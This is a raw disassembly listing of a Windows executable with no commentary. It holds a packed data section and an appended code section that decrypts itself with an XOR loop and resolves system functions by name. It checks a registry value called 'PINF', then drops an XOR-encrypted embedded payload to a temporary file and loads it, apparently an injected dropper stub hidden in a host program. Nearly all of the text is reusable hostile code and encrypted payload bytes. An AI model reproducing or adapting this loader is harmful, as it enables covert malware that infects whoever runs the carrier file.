		dd 0F88BE2ADh, 0DA815859h, 181D720Dh, 12E8h, 561B6E00h
		dd 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 81BD0773h, 18D005E8h
		dd 0F505855h, 0E85FD6BFh, 0Ah, 12AB425Ah, 0BE148DA4h, 8B66FBEDh
		dd 8B0F5AC1h, 0Bh, 820F60h, 0F000000h, 6661C0B7h, 0E088C281h
		dd 0FD78B66h, 10E9FEBFh, 0F6000000h, 39BBDD5Ch,	6E5E499h
		dd 770A5B3Bh, 0FDA45FEh, 1780h,	12E900h, 0EA890000h, 3F8A8A07h
		dd 705A73E4h, 195DC509h, 61B42056h, 9B9958B8h, 0E9D4B03Ah
		dd 0Bh,	0B59C1D89h, 6CE8597Ch, 81658805h, 0A2793D0h, 4CB8661Ah
		dd 1F850FD3h, 0E8000000h, 13h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
		dd 0E4AF1D1Ah, 81FDE9A3h, 6A0B9EE0h, 0E9575A77h, 8, 0A03BF5FDh
		dd 0BF7080F5h, 0BBEEB358h, 649B6929h, 27CF8166h, 0B8D0F10h
		dd 0F000000h, 58Ah, 0DB57BB00h,	0FE93FCBh, 0E7000000h
		dd 0CA438285h, 3FCA0D95h, 0EC762924h, 9E9C2C5h,	0B8000000h
		dd 0FE0CD82Fh, 0EFA4240Ch, 0BE9h, 0DFF07E00h, 0B87E7E4Ch
		dd 760074E9h, 810Fh, 0FF90000h,	840FD0B7h, 3, 0E9C18B66h
		dd 14h,	2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
		dd 0DE8h, 5C8CAC00h, 8F045273h,	0EC5B0511h, 0E381E538h
		dd 23516C0Bh, 0FCA0BA59h, 0B70F29D6h, 58B0FF2h,	66000000h
		dd 69F2EE81h, 0B9F18Ah,	53141AFFh, 6E8h, 0EE1B2600h, 8B2E741Fh
		dd 8A5A59D9h, 0FE960C5h, 0F9000000h, 0E7196CFCh, 5346D49Ah
		dd 0B60933B0h, 8B66B02Bh, 60F861C3h, 0AE9h, 0C9EEBD00h
		dd 0A98F8CEDh, 61317988h, 0E181FA8Bh, 0B1EF4B4h, 53C28B66h
		dd 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h, 54D1D316h
		dd 6160C845h, 0CA805A5Ah, 0B70F601Ch, 94D681F2h, 615BB79Bh
		dd 3820Fh, 0E6800000h, 0FD38B0Eh, 0B966FBBFh, 0B70F62EBh
		dd 0DB8166FEh, 0BE6602ABh, 8D0F11E4h, 5, 0B265C7BBh, 0F9B70F49h
		dd 0CEBF0FF8h, 0EE960h,	4360000h, 1988C9A3h, 787F3FCBh
		dd 8FBB1B19h, 0FE9h, 97794600h,	0F71507DBh, 0BB11CDC0h
		dd 4DA6BDFDh, 78E0F61h,	0F000000h, 18Eh, 0CB80FC00h, 60B866ACh
		dd 0B8565141h, 6567210Eh, 7E85E59h, 10000000h, 0E9D1AEDAh
		dd 8B66BB43h, 8B6659C6h, 0BF0FF8F7h, 0F2BF0FCAh, 5E9h
		dd 4BFB9000h, 0EA8A3BB0h, 75DB61BFh, 0BE82Fh, 5F650000h
		dd 2286CCDDh, 0FF28EC2Bh, 68E0FB8h, 81000000h, 0F39F11DAh
		dd 0CF815E59h, 38B5DDEEh, 0DE9h, 30A82500h, 2504E08Ch
		dd 0A1A17BACh, 12E9748Fh, 80000000h, 1F0462F8h,	546C29CAh
		dd 25B537F6h, 0B70EC33h, 90E280AEh, 0EDB9FA8Ah,	0F3F8310h
		dd 0DE9F9B7h, 40000000h, 0C48F71D2h, 40C18CBFh,	0A14BEAE5h
		dd 8BDE8B66h, 0E8DE81FEh, 0F4C10F9h, 1781h, 12E900h, 3B6E0000h
		dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 9E857h
		dd 991D0000h, 0EC604D40h, 8BECD80Fh, 0F95B59F1h, 6AF081F5h
		dd 0F426F2Bh, 1884h, 51BB6000h,	0E9069649h, 0Ch, 7D74660h
		dd 0BA85651h, 0CA18A786h, 0F78B6661h, 0F86D480h, 587h
		dd 5ABEBF00h, 816625B2h, 810B99F6h, 3AE551F3h, 0E9816603h
		dd 0C9813FCBh, 1DE88199h, 83CE8166h, 0E8FE8BE3h, 11h, 0DDDA6918h
		dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 64B76098h, 5B616160h
		dd 97B86660h, 48F281CCh, 617937D2h, 800FFA8Bh, 0Ah, 0C1B70F60h
		dd 0E1E5FDBAh, 8166614Fh, 0F73BEC3h, 85h, 5E900h, 45F70000h
		dd 0F9B99289h, 8E8h, 124CD300h,	904AF22Fh, 0F30CB955h
		dd 0F5B0DC4h, 285h, 0B26CB600h,	0F38166EFh, 0F519CFDh
		dd 0E95EC2B7h, 0Eh, 55832B97h, 938C11E4h, 0B21D4FCFh, 12E92DB8h
		dd 4C000000h, 0C4DE6844h, 185A0B5Ch, 8B8EC807h,	0D12A894Dh
		dd 0E960606Dh, 7, 3959DFA3h, 6691E91Fh,	146ED881h, 6820F61h
		dd 0F000000h, 84h, 7B46100h, 82BF00B2h,	5642C4B2h, 10BA665Bh
		dd 0D2816624h, 0B70F9347h, 0CE8166C9h, 9CB9038Dh, 0F6A6EEDh
		dd 38Ch, 0C2BF0F00h, 0FE9h, 61272C00h, 4AE8B7ACh, 0A342A2FEh
		dd 96A28AAFh, 10E9h, 0AF010F00h, 4DE17498h, 735F9B77h
		dd 33F81767h, 0CEB0BA31h, 0D18A0744h, 10E8F08Bh, 73000000h
		dd 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 0E88D10FBh,	7, 0EF43FD19h
		dd 0E9838803h, 14h, 61D5470Ch, 0F5540192h, 7D3EE50Ch, 0FEE0B30h
		dd 1BE4672Ah, 80B6585Fh, 840F6060h, 0
		dd 61F6B70Fh, 8161F28Bh, 0B64489E8h, 11E91Ah, 0FBC20000h
		dd 0EDDF979Dh, 68E5CE52h, 0E451A599h, 0BBF7625Dh, 31C8611Dh
		dd 1B8C0FFCh, 0E8000000h, 11h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh
		dd 8DB3BE82h, 0A4BE6639h, 2AB75ECDh, 0FDE8B66h,	48Fh, 69BB6600h
		dd 1840FDBh, 0FC000000h, 0F3A543BAh, 14E925h, 911B0000h
		dd 0E899F52Bh, 10E96CACh, 39F60E0Bh, 2D1742CEh,	66564F10h
		dd 665ECF8Bh, 6E9F08Bh,	94000000h, 5E66A5DCh, 451EB824h
		dd 0E4BA0D60h, 0B762D55Ah, 5C68BB54h, 0E86008F1h, 5, 0E3781947h
		dd 14E83Ah, 0AE5B0000h,	0C5E79AC0h, 0ABF1D4EBh,	91A1CBDBh
		dd 82738C71h, 5B5A89F1h, 49731CB8h, 0FFC6153h, 382h, 0C78B6600h
		dd 0CF17EA81h, 5E86ECCh, 69000000h, 3522A0D2h, 0CE9h, 570A3B00h
		dd 88099D4Dh, 0FB2C9ED9h, 0FF95BD7h, 983h, 3850F00h, 66000000h
		dd 830FC18Bh, 0
		dd 7E9h, 8E9AA100h, 0CE921CC5h,	3CDDC381h, 8166026Bh, 66CDF5EBh
		dd 0D48ACF8Bh, 0F50CD480h, 0E8C18B66h, 0Fh, 0F7D04B5Bh
		dd 54C0A895h, 2B31AEFAh, 6688ADD5h, 3516DA81h, 0F5E5358h
		dd 48Dh, 0A1BF6600h, 6E8CBh, 20BE0000h,	0D4F2494Ch, 5AF88B66h
		dd 0E9816651h, 805E0896h, 66F517CCh, 0BDBEE181h, 0BAC2BF0Fh
		dd 281B0D93h, 0CA8166F8h, 0B70FF014h, 0ABBA66F6h, 9CBF667Bh
		dd 6EE78184h, 0F528277h, 48Ch, 0FBB96600h, 13E918h, 50CF0000h
		dd 3F8CFD18h, 2F08F8F6h, 322B2828h, 5E2DADB8h, 81BB66A1h
		dd 11E929h, 23080000h, 0BC5CC73Fh, 0B7EA599Eh, 2B15B3C6h
		dd 57B93E09h, 3800F59h,	66000000h, 0DF81DA8Bh, 7A35728Ch
		dd 66C9F080h, 0F9424FBEh, 0DE9h, 0F179C800h, 5D445FD6h
		dd 69B1DD02h, 0C78BE051h, 0E9CFB70Fh, 8, 0ABDA273Fh, 0CB4FEDCAh
		dd 0AE9h, 0ECB71000h, 6D1A1F14h, 0A152A2AEh, 67h dup(0B6E014D5h)
		dd 0B4h	dup(0E2CC0BBDh)
		db 0BDh, 0Bh
word_6020CA	dw 0E2CCh		; DATA XREF: Themida_:0057A638o
		dd 595B0BBDh, 192h dup(595B55EBh), 67EDE2EBh, 20Dh dup(67EDE211h)
		dd 2E73E211h, 1ABh dup(2E738495h), 81738495h, 114h dup(8105983Fh)
		dd 0E779983Fh, 79h dup(0E7793E34h), 8F793E34h, 6Fh dup(8F893D50h)
		dd 2D6h	dup(751354A7h),	0CC1354A7h, 8C0h dup(0CCCCCCCCh)
		dd 0CCCCCCh, 0E9h dup(0)
Themida_	ends

; ---------------------------------------------------------------------------
; Section 5. (virtual address 00207000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00207000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_tqn_		segment	para public 'CODE' use32
		assume cs:_tqn_
		;org 607000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

		public start
start:
		nop
		nop
		push	offset byte_4DCDA9
		pop	eax
		nop
		nop
		mov	edi, offset loc_607028
		nop
		push	598h
		pop	esi
		nop
		nop


loc_607018:				; CODE XREF: .tqn_:loc_607028j
		push	dword ptr [esi+edi]
		xor	[esp], eax
		pop	dword ptr [esi+edi]
		nop
		dec	esi
		sub	esi, 3
		nop
		nop


loc_607028:				; DATA XREF: .tqn_:0060700Ao
		jnz	short loc_607018
		nop
		nop
		call	sub_6071AE
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 400000h, 113014h, 80000h, 805E2h, 2B000h, 0FFFFFFFFh
		dd 512000h, 51205Fh, 51206Dh, 3	dup(0)
		dd 18000h, 11205Dh, 11206Bh, 4 dup(0)
		dd offset dword_512000
		dd 0Ah dup(0)
		dd offset byte_4DCDA9
		db  4Bh	; K
		db 65h,	72h, 6Eh
		db  65h	; e
		db 6Ch,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
aGettemppatha	db 'GetTempPathA',0
aGettempfilenam	db 'GetTempFileNameA',0
aCreatefilea	db 'CreateFileA',0
aReadfile	db 'ReadFile',0
aWritefile	db 'WriteFile',0
aSetfilepointer	db 'SetFilePointer',0
aClosehandle	db 'CloseHandle',0
aGettickcount	db 'GetTickCount',0
aGetmodulefil_0	db 'GetModuleFileNameA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegclosekey	db 'RegCloseKey',0
aSoftwareMicr_3	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
aPinf		db 'PINF',0
aInitiate	db 'Initiate',0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6071AE	proc near		; CODE XREF: .tqn_:0060702Cp

var_140		= word ptr -140h
var_13E		= byte ptr -13Eh
var_38		= byte ptr -38h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		mov	eax, ebp
		add	eax, 4
		mov	edx, ebp
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, [eax]
		lea	ecx, [ebp+var_38]
		sub	edi, 5
		mov	eax, [edi+0Ch]
		lea	esi, [edi+84h]
		add	eax, [edi+8]
		add	edx, 4
		mov	[edx], eax
		push	esi
		push	edi
		push	ecx
		call	sub_60724E
		test	al, al
		jz	short loc_607246
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		lea	edx, [ebp+var_140]
		push	edx
		call	sub_60735A
		test	al, al
		jz	short loc_60721B
		cmp	[ebp+var_140], 7
		jb	short loc_60721B
		push	esi
		push	edi
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	eax, [ebp+var_13E]
		push	eax
		call	sub_6073C2
		mov	ebx, eax


loc_60721B:				; CODE XREF: sub_6071AE+4Dj
					; sub_6071AE+57j
		test	bl, bl
		jnz	short loc_607246
		push	edi
		lea	eax, [ebp+var_38]
		push	eax
		lea	edx, [ebp+var_13E]
		push	edx
		call	sub_6073FA
		test	al, al
		jz	short loc_607246
		push	esi
		push	edi
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	eax, [ebp+var_13E]
		push	eax
		call	sub_6073C2


loc_607246:				; CODE XREF: sub_6071AE+38j
					; sub_6071AE+6Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_6071AE	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60724E	proc near		; CODE XREF: sub_6071AE+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	edx, [eax+20h]
		mov	ecx, [edx]
		mov	[ebx], ecx
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+20h]
		add	edx, 4
		mov	ecx, [edx]
		mov	[ebx+4], ecx
		push	edi
		call	dword ptr [ebx]
		mov	esi, eax
		test	esi, esi
		jz	loc_60730B
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+24h]
		push	esi
		call	dword ptr [ebx+4]
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx+20h]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+28h]
		push	esi
		call	dword ptr [ebx+4]
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx+20h]
		add	ecx, 4
		mov	[ecx], eax
		lea	eax, [edi+0Dh]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+8], eax
		lea	edx, [edi+1Ah]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+0Ch], eax
		lea	ecx, [edi+2Bh]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+10h], eax
		lea	eax, [edi+37h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+14h], eax
		lea	edx, [edi+40h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+18h], eax
		lea	ecx, [edi+4Ah]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+1Ch], eax
		lea	eax, [edi+59h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+20h], eax
		lea	edx, [edi+65h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+24h], eax
		lea	ecx, [edi+72h]
		push	ecx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+28h], eax
		jmp	short loc_60730F
; ---------------------------------------------------------------------------


loc_60730B:				; CODE XREF: sub_60724E+2Bj
		xor	eax, eax
		jmp	short loc_607350
; ---------------------------------------------------------------------------


loc_60730F:				; CODE XREF: sub_60724E+BBj
		lea	edx, [edi+85h]
		push	edx
		call	dword ptr [ebx]
		mov	esi, eax
		test	esi, esi
		jz	short loc_60734A
		lea	eax, [edi+92h]
		push	eax
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+2Ch], eax
		lea	edx, [edi+0A0h]
		push	edx
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+30h], eax
		add	edi, 0B1h
		push	edi
		push	esi
		call	dword ptr [ebx+4]
		mov	[ebx+34h], eax
		jmp	short loc_60734E
; ---------------------------------------------------------------------------


loc_60734A:				; CODE XREF: sub_60724E+CEj
		xor	eax, eax
		jmp	short loc_607350
; ---------------------------------------------------------------------------


loc_60734E:				; CODE XREF: sub_60724E+FAj
		mov	al, 1


loc_607350:				; CODE XREF: sub_60724E+BFj
					; sub_60724E+FEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_60724E	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60735A	proc near		; CODE XREF: sub_6071AE+46p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_4]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_8], 106h
		push	eax
		push	20019h
		lea	edx, [edi+0BDh]
		push	0
		push	edx
		push	80000001h
		call	dword ptr [esi+2Ch]
		test	eax, eax
		jnz	short loc_6073B6
		lea	ecx, [ebp+var_8]
		add	edi, 0F0h
		push	ecx
		push	[ebp+arg_0]
		push	0
		push	0
		push	edi
		push	[ebp+var_4]
		call	dword ptr [esi+30h]
		test	eax, eax
		setz	bl
		and	ebx, 1
		push	[ebp+var_4]
		call	dword ptr [esi+34h]


loc_6073B6:				; CODE XREF: sub_60735A+34j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_60735A	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6073C2	proc near		; CODE XREF: sub_6071AE+66p
					; sub_6071AE+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [ebx]
		test	eax, eax
		jz	short loc_6073F1
		mov	edx, [ebp+arg_C]
		add	edx, 0F5h
		push	edx
		push	eax
		call	dword ptr [ebx+4]
		test	eax, eax
		jz	short loc_6073F1
		push	[ebp+arg_8]
		call	eax
		test	al, al
		jz	short loc_6073F1
		mov	al, 1
		jmp	short loc_6073F3
; ---------------------------------------------------------------------------


loc_6073F1:				; CODE XREF: sub_6073C2+Ej
					; sub_6073C2+20j ...
		xor	eax, eax


loc_6073F3:				; CODE XREF: sub_6073C2+2Dj
		pop	ebx
		pop	ebp
		retn	10h
sub_6073C2	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6073FA	proc near		; CODE XREF: sub_6071AE+7Dp

var_2914	= byte ptr -2914h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2


loc_607403:				; CODE XREF: sub_6073FA+11j
		add	esp, 0FFFFF004h
		push	eax
		dec	eax
		jnz	short loc_607403
		mov	eax, [ebp+var_4]
		add	esp, 0FFFFF6F0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		call	dword ptr [ebx+28h]
		push	0
		push	1
		push	3
		push	0
		push	1
		lea	edx, [ebp+var_114]
		push	80000000h
		push	edx
		call	dword ptr [ebx+10h]
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_607583
		lea	eax, [ebp+var_114]
		push	eax
		push	104h
		call	dword ptr [ebx+8]
		call	dword ptr [ebx+24h]
		mov	[ebp+var_8], eax
		xor	ecx, ecx


loc_60746B:				; CODE XREF: sub_6073FA+8Bj
		xor	eax, eax
		mov	al, byte ptr [ebp+ecx+var_8]
		push	ecx
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		pop	ecx
		add	al, 61h
		mov	byte ptr [ebp+ecx+var_8], al
		inc	ecx
		cmp	ecx, 2
		jle	short loc_60746B
		mov	byte ptr [ebp+var_8+3],	0
		push	esi
		push	0
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	eax, [ebp+var_114]
		push	eax
		call	dword ptr [ebx+0Ch]
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebx+10h]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	loc_607579
		mov	edx, [ebp+arg_8]
		mov	esi, [edx+18h]
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+14h]
		push	edi
		call	dword ptr [ebx+1Ch]
		cmp	esi, 2800h
		jbe	short loc_607531


loc_6074DB:				; CODE XREF: sub_6073FA+135j
		push	0
		lea	edx, [ebp+var_10]
		push	edx
		push	2800h
		lea	ecx, [ebp+var_2914]
		push	ecx
		push	edi
		call	dword ptr [ebx+14h]
		push	2800h
		lea	eax, [ebp+var_2914]
		push	eax
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+80h]
		call	sub_607596
		lea	ecx, [ebp+var_10]
		push	0
		push	ecx
		lea	eax, [ebp+var_2914]
		push	2800h
		push	eax
		push	[ebp+var_C]
		call	dword ptr [ebx+18h]
		sub	esi, 2800h
		cmp	esi, 2800h
		ja	short loc_6074DB


loc_607531:				; CODE XREF: sub_6073FA+DFj
		push	0
		lea	edx, [ebp+var_10]
		push	edx
		push	esi
		lea	ecx, [ebp+var_2914]
		push	ecx
		push	edi
		call	dword ptr [ebx+14h]
		push	esi
		lea	eax, [ebp+var_2914]
		push	eax
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+80h]
		call	sub_607596
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		lea	eax, [ebp+var_2914]
		push	eax
		push	[ebp+var_C]
		call	dword ptr [ebx+18h]
		push	[ebp+var_C]
		call	dword ptr [ebx+20h]
		mov	byte ptr [ebp+var_4+3],	1
		jmp	short loc_60757D
; ---------------------------------------------------------------------------


loc_607579:				; CODE XREF: sub_6073FA+BFj
		mov	byte ptr [ebp+var_4+3],	0


loc_60757D:				; CODE XREF: sub_6073FA+17Dj
		push	edi
		call	dword ptr [ebx+20h]
		jmp	short loc_607587
; ---------------------------------------------------------------------------


loc_607583:				; CODE XREF: sub_6073FA+54j
		mov	byte ptr [ebp+var_4+3],	0


loc_607587:				; CODE XREF: sub_6073FA+187j
		mov	al, byte ptr [ebp+var_4+3]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_6073FA	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_607596	proc near		; CODE XREF: sub_6073FA+10Cp
					; sub_6073FA+15Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jns	short loc_6075AA
		add	ecx, 3


loc_6075AA:				; CODE XREF: sub_607596+Fj
		sar	ecx, 2
		xor	eax, eax
		cmp	ecx, eax
		jle	short loc_6075BB


loc_6075B3:				; CODE XREF: sub_607596+23j
		xor	[edx+eax*4], ebx
		inc	eax
		cmp	ecx, eax
		jg	short loc_6075B3


loc_6075BB:				; CODE XREF: sub_607596+1Bj
		pop	ebx
		pop	ebp
		retn	0Ch
sub_607596	endp

; ---------------------------------------------------------------------------
		dd offset dword_4D676C+2924h
aLoadlibrarya	db 'LoadLibraryA',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		dw 97E4h
		dd 0CDAB001Dh, 0CDAD004Dh, 32560042h, 0CD11004Dh, 0CDA9004Dh
		dd 0CDE9004Dh, 0CDA90057h, 7 dup(0CDA9004Dh), 0CFA9004Dh
		dd 0DD13004Dh, 79B60E4Dh, 7588CD44h, 0EC644C4Ch, 0A5FD90DDh
		dd 0BD897324h, 0BFCE6F3Fh, 0A0896D2Ch, 0EDDD7338h, 0BF89652Fh
		dd 0B8896E38h, 0BFCC6423h, 0A3C0576Dh, 0C7A4327Eh, 0CDA93769h
		dd 61h dup(0CDA9004Dh),	88F9004Dh, 0CCE5004Dh, 61E7004Eh
		dd 0CDA93BF2h, 0CDA9004Dh, 0CD49004Dh, 0CCA22343h, 6DA90048h
		dd 0DDA9004Fh, 0BDA9004Dh, 0D4B90049h, 4DA9004Ah, 0EDA90049h
		dd 0CDA9004Ah, 0DDA9000Dh, 0CFA9004Dh, 0CDAD004Dh, 0CDA9004Dh
		dd 0CDAD004Dh, 0CDA9004Dh, 0FDA9004Dh, 0C9A9004Ah, 0CDA9004Dh
		dd 0CDAB004Dh, 3 dup(0CDA9004Dh), 0DDA9005Dh, 0CDA9004Dh
		dd 0CDB9004Dh, 0EA65004Dh, 0CB4D004Ah, 0E871004Dh, 0CC5D004Ah
		dd 0EDA9004Dh, 0C871004Ah, 4 dup(0CDA9004Dh), 0E319004Dh
		dd 0CDA5004Ah, 14h dup(0CDA9004Dh), 0B987004Dh,	0CDDD7828h
		dd 0BDA9004Dh, 0DDA90049h, 0CDA9004Dh, 0C9A9004Dh, 3 dup(0CDA9004Dh)
		dd 0CD29004Dh, 0A987E04Dh, 0CDC8742Ch, 6DA9004Dh, 4DA9004Fh
		dd 51A90049h, 0C9A9004Fh, 3 dup(0CDA9004Dh), 0CDE9004Dh
		dd 0BF87E04Dh, 0CDCA723Eh, 0DDA9004Dh, 0EDA9004Dh, 0DDA9004Ah
		dd 6DA9004Dh, 0CDA9004Fh, 2 dup(0CDA9004Dh), 0CDE9004Dh
		dd 0CDA3C04Dh, 0CDA90069h, 12h dup(0CDA9004Dh),	0CDA3246Dh
		dd 0CDA90069h, 10h dup(0CDA9004Dh), 0E3A9004Dh,	0CDA3246Dh
		dd 0ECA9004Dh, 0C4AB0941h, 346DCD1Dh, 0CC77ED2Eh, 0CDAFF543h
		dd 0CDAB9894h, 0CDAF444Dh, 87A90D6Bh, 3256EEB6h, 0AFCF10A6h
		dd 0E6824377h, 86E64F05h, 0C8A9E9DDh, 0C908987Eh, 0CF49C152h
		dd 0BAD607EEh, 468ABEB2h, 0C5A12409h, 48BDFFDCh, 0F02A814Bh
		dd 93DC0141h, 72567722h, 0CD8208CDh, 0C0412439h, 77B51F48h
		dd 0CD8C2C41h, 0C8DD804Dh, 0B376F6BAh, 0DBFB4C46h, 9511C449h
		dd 0C040C07Eh, 0C857F059h, 23525D61h, 0D6B33BFDh, 46FB5899h
		dd 4CA05A19h, 1016BB96h, 4DAC5A41h, 0A7F90A3Dh,	8D3A064Dh
		dd 0FFD26814h, 5D451DD2h, 0B9912799h, 0B9AB085Ah, 0B21ABF43h
		dd 0AD7B253Ah, 0CD29558Bh, 0CCA107A6h, 7C019E6Bh, 0CD50EEBAh
		dd 6CF91239h, 9DB13F1Dh, 60BD15B2h, 5B6EB3A2h, 4E9105CDh
		dd 0CDE00489h, 77D21438h, 0AD37FB32h, 0C9F59501h, 0F4D014Dh
		dd 4B400041h, 7A56FBC1h, 0E809BD96h, 0EAE7C350h, 0CD12608Eh
		dd 9E15B01Dh, 1CA2AD25h, 0B6148FA3h, 2111B98Eh,	9CDDC946h
		dd 0BEA91F05h, 0DC57B847h, 0B027EF42h, 9CB22673h, 0D3ACDC27h
		dd 93B65097h, 2039FB22h, 0EDDCC046h, 9DFF57B0h,	809E35DAh
		dd 0BED493BBh, 0C97C0ABDh, 97F65E12h, 3B5B1D54h, 6E611CB6h
		dd 0AD518356h, 0E55B8C0h, 4E1BED20h, 88817239h,	9D9862ADh
		dd 4C707B6Bh, 0C1FE6439h, 0A6B9328Eh, 8C522E8Eh, 0D47937FCh
		dd 6176FEDh, 48FF2DCDh,	0FE9AC34Ch, 0FC16FFBFh,	2D3D505Ah
		dd 9E39908Eh, 3351C4CCh, 0C8C1FFB2h, 0E46F74Ch,	0C9C18D8Fh
		dd 0B5298C3Eh, 922C253h, 3ADFBE68h, 1516730Fh, 759A1DC4h
		dd 0F1F2DBC8h, 1AC4BAE1h, 75115BB0h, 0BBB6A849h, 0F1A141F1h
		dd 8054FB16h, 1BB4C9Bh,	0C892B86Bh, 81AF7461h, 0D616F811h
		dd 46FC6B09h, 0DDEC8BA1h, 4DA155C6h, 0DDDD9930h, 0F0057E96h
		dd 0CB3C8CA3h, 0D8420138h, 0BFAC9DC6h, 0B045F7F3h, 0D82111C5h
		dd 6EA9165Ah, 0F60570C3h, 8BCF23Bh, 0D31DB04Bh,	7178013Bh
		dd 0CF18ED20h, 34991579h, 0CFA98075h, 0DA1BEFE9h, 0E76D7196h
		dd 4B1D0EC2h, 105663B2h, 46F58B11h, 47AB8985h, 0CC9D1408h
		dd 0CF21D041h, 9E39C310h, 20568B1Bh, 1B49A8Eh, 0F62A1606h
		dd 0DE2211EFh, 1F9AD0C4h, 101673C4h, 1122138Fh,	22DC109Bh
		dd 26F78022h, 7AA2F786h, 0A5FC89D6h, 6D3C033Dh,	0ED20647Dh
		dd 0B39290B2h, 0DE21DB96h, 0C0F05917h, 0E35185Dh, 0E255930h
		dd 2674DE58h, 4E395EB5h, 0FA2B1E60h, 56F6FBh, 0F930DC23h
		dd 0AB858755h, 0C545458Ah, 35ECFF4Dh, 23C1C97Eh, 0DB127473h
